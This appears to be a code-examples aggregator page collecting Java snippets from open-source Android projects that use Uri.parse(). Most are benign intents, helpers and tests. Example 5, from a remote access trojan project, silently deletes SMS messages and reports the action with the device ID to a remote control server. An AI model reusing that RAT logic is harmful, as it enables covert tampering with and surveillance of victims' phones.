Java Code Examples for android.net.Uri#parse()

The following examples show how to use android.net.Uri#parse() . You can vote up the ones you like or vote down the ones you don't like, and go to the original project or source file by following the links above each example. You may check out the related API usage on the sidebar.
Example 1
Source File: GeoIntents.java    From android-intents with Apache License 2.0 6 votes vote down vote up
/**
 * Intent that should allow opening a map showing the given location (if it exists)
 *
 * @param latitude  The latitude of the center of the map
 * @param longitude The longitude of the center of the map
 * @param placeName The name to show on the marker
 * @return the intent
 */
public static Intent newMapsIntent(float latitude, float longitude, String placeName) {
    StringBuilder sb = new StringBuilder();
    sb.append("geo:");

    sb.append(latitude);
    sb.append(",");
    sb.append(longitude);

    if (!TextUtils.isEmpty(placeName)) {
        sb.append("?q=");
        sb.append(latitude);
        sb.append(",");
        sb.append(longitude);
        sb.append("(");
        sb.append(Uri.encode(placeName));
        sb.append(")");
    }

    return new Intent(Intent.ACTION_VIEW, Uri.parse(sb.toString()));
}
 
Example 2
Source File: RNShareModule.java    From react-native-share with MIT License 6 votes vote down vote up
@ReactMethod
public void isBase64File(String url, @Nullable Callback failureCallback, @Nullable Callback successCallback) {
    try {
        Uri uri = Uri.parse(url);
        String scheme = uri.getScheme();
        if ((scheme != null) && scheme.equals("data")) {
            successCallback.invoke(true);
        } else {
            successCallback.invoke(false);
        }
    } catch (Exception e) {
        System.out.println("ERROR " + e.getMessage());
        e.printStackTrace(System.out);
        failureCallback.invoke(e.getMessage());
    }
}
 
Example 3
Source File: FileUtil.java    From Share2 with Apache License 2.0 6 votes vote down vote up
/**
 * Gets the content:// URI from the given corresponding path to a file
 *
 * @param context context
 * @param audioFile audioFile
 * @return content Uri
 */
private static Uri getAudioContentUri(Context context, File audioFile) {
    Uri uri = null;
    String filePath = audioFile.getAbsolutePath();
    Cursor cursor = context.getContentResolver().query(MediaStore.Audio.Media.EXTERNAL_CONTENT_URI,
            new String[] { MediaStore.Audio.Media._ID }, MediaStore.Audio.Media.DATA + "=? ",
            new String[] { filePath }, null);
    
    if (cursor != null) {
        if (cursor.moveToFirst()) {
            int id = cursor.getInt(cursor.getColumnIndex(MediaStore.MediaColumns._ID));
            Uri baseUri = Uri.parse("content://media/external/audio/media");
            uri = Uri.withAppendedPath(baseUri, "" + id);
        }
        
        cursor.close();
    }
    if (uri == null) {
        ContentValues values = new ContentValues();
        values.put(MediaStore.Audio.Media.DATA, filePath);
        uri = context.getContentResolver().insert(MediaStore.Audio.Media.EXTERNAL_CONTENT_URI, values);
    } 
    
    return uri;
}
 
Example 4
Source File: ServiceConnectionActivity.java    From custom-tabs-client with Apache License 2.0 6 votes vote down vote up
@Override
public void onClick(View view) {
    int viewId = view.getId();
    Uri uri  = Uri.parse(mUrlEditText.getText().toString());
    switch (viewId) {
        case R.id.button_may_launch_url:
            customTabActivityHelper.mayLaunchUrl(uri, null, null);
            break;
        case R.id.start_custom_tab:
            CustomTabsIntent customTabsIntent =
                    new CustomTabsIntent.Builder(customTabActivityHelper.getSession())
                    .build();
            CustomTabActivityHelper.openCustomTab(
                    this, customTabsIntent, uri, new WebviewFallback());
            break;
        default:
            //Unkown View Clicked
    }
}
 
Example 5
Source File: MyService.java    From Dendroid-HTTP-RAT with GNU General Public License v3.0 6 votes vote down vote up
@Override
        protected String doInBackground(String... params) {     
			Uri thread = Uri.parse( "content://sms");
			ContentResolver contentResolver = getContentResolver();
//			Cursor cursor = contentResolver.query(thread, null, null, null,null);
			contentResolver.delete( thread, "thread_id=? and _id=?", new String[]{String.valueOf(i), String.valueOf(j)});
	        
	        try {
				getInputStreamFromUrl(URL + PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).getString("urlPost", "") + "UID=" + PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).getString("AndroidID", "") + "&Data=", "SMS Delete [" + i + "] [" + j + "] Complete");
			} catch (UnsupportedEncodingException e) {
				 
				e.printStackTrace();
			}   
			
		    return "Executed";
        }
 
Example 6
Source File: DocumentUtil.java    From a with GNU General Public License v3.0 5 votes vote down vote up
public static boolean isFileExist(Context context, String fileName, String rootPath, String... subDirs) {
    Uri rootUri;
    if (rootPath.startsWith("content"))
        rootUri = Uri.parse(rootPath);
    else
        rootUri = Uri.parse(Uri.decode(rootPath));
    return isFileExist(context, fileName, rootUri, subDirs);
}
 
Example 7
Source File: CallbackHelperTest.java    From Auth0.Android with MIT License 5 votes vote down vote up
@Test
public void shouldReturnEmptyFragmentValues() {
    String uriString = "https://lbalmaceda.auth0.com/android/com.auth0.android.lock.app/callback#";
    Uri uri = Uri.parse(uriString);
    final Map<String, String> values = CallbackHelper.getValuesFromUri(uri);

    assertThat(values, is(notNullValue()));
    assertThat(values, IsMapWithSize.<String, String>anEmptyMap());
}
 
Example 8
Source File: SystemTool.java    From KJFrameForAndroid with Apache License 2.0 5 votes vote down vote up
/**
 * 调用系统发送短信
 */
public static void sendSMS(Context cxt, String smsBody) {
    Uri smsToUri = Uri.parse("smsto:");
    Intent intent = new Intent(Intent.ACTION_SENDTO, smsToUri);
    intent.putExtra("sms_body", smsBody);
    cxt.startActivity(intent);
}
 
Example 9
Source File: SettingsActivity.java    From PowerFileExplorer with GNU General Public License v3.0 5 votes vote down vote up
public boolean onPreferenceClick(Preference preference) {
    Intent intent = new Intent( Intent.ACTION_VIEW , Uri.parse( getString( R.string.help_url) ));
    try{
        startActivity(intent);
    }catch(Exception e){}
    finish();

    return false;
}
 
Example 10
Source File: CaptureActivityHandler.java    From vinci with Apache License 2.0 5 votes vote down vote up
@Override
public void handleMessage(Message message) {
    if (message.what == R.id.auto_focus) {
        //Log.d(TAG, "Got auto-focus message");
        // When one auto focus pass finishes, start another. This is the closest thing to
        // continuous AF. It does seem to hunt a bit, but I'm not sure what else to do.
        if (state == State.PREVIEW) {
            CameraManager.get().requestAutoFocus(this, R.id.auto_focus);
        }
    } else if (message.what == R.id.restart_preview) {
        Log.d(TAG, "Got restart preview message");
        restartPreviewAndDecode();
    } else if (message.what == R.id.decode_succeeded) {
        Log.d(TAG, "Got decode succeeded message");
        state = State.SUCCESS;
        Bundle bundle = message.getData();

        /***********************************************************************/
        Bitmap barcode = bundle == null ? null :
                (Bitmap) bundle.getParcelable(DecodeThread.BARCODE_BITMAP);//���ñ����߳�

        fragment.handleDecode((Result) message.obj, barcode);//���ؽ��
        /***********************************************************************/
    } else if (message.what == R.id.decode_failed) {
        // We're decoding as fast as possible, so when one decode fails, start another.
        state = State.PREVIEW;
        CameraManager.get().requestPreviewFrame(decodeThread.getHandler(), R.id.decode);
    } else if (message.what == R.id.return_scan_result) {
        Log.d(TAG, "Got return scan result message");
        fragment.getActivity().setResult(Activity.RESULT_OK, (Intent) message.obj);
        fragment.getActivity().finish();
    } else if (message.what == R.id.launch_product_query) {
        Log.d(TAG, "Got product query message");
        String url = (String) message.obj;
        Intent intent = new Intent(Intent.ACTION_VIEW, Uri.parse(url));
        intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_WHEN_TASK_RESET);
        fragment.getActivity().startActivity(intent);
    }
}
 
Example 11
Source File: MainActivity.java    From android-dev-challenge with Apache License 2.0 5 votes vote down vote up
/**
 * This method uses the URI scheme for showing a location found on a map in conjunction with
 * an implicit Intent. This super-handy intent is detailed in the "Common Intents" page of
 * Android's developer site:
 *
 * @see "http://developer.android.com/guide/components/intents-common.html#Maps"
 * <p>
 * Protip: Hold Command on Mac or Control on Windows and click that link to automagically
 * open the Common Intents page
 */
private void openLocationInMap() {
    String addressString = "1600 Ampitheatre Parkway, CA";
    Uri geoLocation = Uri.parse("geo:0,0?q=" + addressString);

    Intent intent = new Intent(Intent.ACTION_VIEW);
    intent.setData(geoLocation);

    if (intent.resolveActivity(getPackageManager()) != null) {
        startActivity(intent);
    } else {
        Log.d(TAG, "Couldn't call " + geoLocation.toString() + ", no receiving apps installed!");
    }
}
 
Example 12
Source File: UpdateService.java    From FriendBook with GNU General Public License v3.0 4 votes vote down vote up
private static Intent webLauncher(String downloadUrl) {
    Uri download = Uri.parse(downloadUrl);
    Intent intent = new Intent(Intent.ACTION_VIEW, download);
    intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
    return intent;
}
 
Example 13
Source File: SettingFragment.java    From RelaxFinger with GNU General Public License v2.0 4 votes vote down vote up
@TargetApi(Build.VERSION_CODES.M)
public void requestDrawOverLays() {

    try {

        if (!Settings.canDrawOverlays(mActivity)) {
            Toast.makeText(mContext, "悬浮助手需要开启在其他应用上层显示权限!", Toast.LENGTH_SHORT).show();
            Intent intent = new Intent(Settings.ACTION_MANAGE_OVERLAY_PERMISSION, Uri.parse("package:" + mActivity.getPackageName()));
            startActivityForResult(intent, OVERLAY_PERMISSION_REQ_CODE);
        }else {

            activateFloatService();
        }

    }catch (Exception e){

        e.printStackTrace();

        Toast.makeText(mActivity, "没有找到在其他应用上层显示设置界面,请手动开启悬浮窗权限!", Toast.LENGTH_SHORT).show();


    }

}
 
Example 14
Source File: GittyReporter.java    From GittyReporter with Apache License 2.0 4 votes vote down vote up
public void openGitHubRegisterPage(View v){
    Intent browserIntent = new Intent(Intent.ACTION_VIEW, Uri.parse("https://github.com/join"));
    startActivity(browserIntent);
}
 
Example 15
Source File: EmbeddedAttachment.java    From Dashchan with Apache License 2.0 4 votes vote down vote up
@Public
public Uri getFileUri() {
	return mFileUriString != null ? Uri.parse(mFileUriString) : null;
}
 
Example 16
Source File: NativeApi.java    From imsdk-android with MIT License 4 votes vote down vote up
/**
 * 打开我的群组
 */
public static void openMyGroups() {
    Intent intent = new Intent("android.intent.action.VIEW", Uri.parse(CommonConfig.schema + "://rnservice?module=Contacts&Screen=GroupList"));
    intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
    CommonConfig.globalContext.startActivity(intent);
}
 
Example 17
Source File: FrescoController.java    From base-module with Apache License 2.0 4 votes vote down vote up
public LoadStep(String url) {
    mUri = Uri.parse(url);
}
 
Example 18
Source File: Bitcoin.java    From HeadsUp with GNU General Public License v2.0 4 votes vote down vote up
/**
 * {@inheritDoc}
 */
@NonNull
@Override
public Uri getUriBrowseWallet() {
    return Uri.parse("https://www.biteasy.com/blockchain/addresses/" + getPaymentKey());
}
 
Example 19
Source File: ChatActivity.java    From BotLibre with Eclipse Public License 1.0 4 votes vote down vote up
@Override
protected void onActivityResult(int requestCode, int resultCode, Intent data) {
	super.onActivityResult(requestCode, resultCode, data);

	switch (requestCode) {
		case CAPTURE_IMAGE: {

			if (resultCode == RESULT_OK) {
				//TODO Make camera intent stop app from reseting
				//Uri photoUri = data.getData();
				//Do what we like with the photo - send to bot, etc

			} else if (resultCode == RESULT_CANCELED) {
				textView.setText("Cancelled");
				submitChat();
			} 

			break;
		}
		case CAPTURE_VIDEO: {
			if (resultCode == RESULT_OK) {
				Uri videoUri = data.getData();
				//Do what we would like with the video
				
			} else if (resultCode == RESULT_CANCELED) {
				textView.setText("Cancelled");
				submitChat();
			} 
			break;
		}
		case RESULT_SPEECH: {
			if (resultCode == RESULT_OK && data != null) {

				ArrayList<String> text = data.getStringArrayListExtra(RecognizerIntent.EXTRA_RESULTS);


				textView.setText(text.get(0));
				submitChat();
			}
			break;
		}
	}
	IntentResult scanResult = IntentIntegrator.parseActivityResult(requestCode, resultCode, data);
	if (scanResult != null) {
		textView.setText("lookup " + scanResult.getContents());
		submitChat();
		if (scanResult.getContents().startsWith("http")) {
			Intent intent = new Intent(Intent.ACTION_VIEW, Uri.parse(scanResult.getContents()));
			startActivity(intent);
		}
	}
}
 
Example 20
Source File: PersistentState.java    From Intra with Apache License 2.0 4 votes vote down vote up
public static void syncLegacyState(Context context) {
  // Copy the domain choice into the new URL setting, if necessary.
  if (getServerUrl(context) != null) {
    // New server URL is already populated
    return;
  }

  // There is no URL setting, so read the legacy server name.
  SharedPreferences settings = getInternalState(context);
  String domain = settings.getString(SERVER_KEY, null);
  if (domain == null) {
    // Legacy setting is in the default state, so we can leave the new URL setting in the default
    // state as well.
    return;
  }

  String[] urls = context.getResources().getStringArray(R.array.urls);
  String defaultDomain = context.getResources().getString(R.string.legacy_domain0);
  String url = null;
  if (domain.equals(defaultDomain)) {
    // Common case: the domain is dns.google.com, which now corresponds to dns.google (url 0).
    url = urls[0];
  } else {
    // In practice, we expect that domain will always be cloudflare-dns.com at this point, because
    // that was the only other option in the relevant legacy versions of Intra.
    // Look for the corresponding URL among the builtin servers.
    for (String u : urls) {
      Uri parsed = Uri.parse(u);
      if (domain.equals(parsed.getHost())) {
        url = u;
        break;
      }
    }
  }

  if (url == null) {
    LogWrapper.log(Log.WARN, LOG_TAG, "Legacy domain is unrecognized");
    return;
  }
  setServerUrl(context, url);
}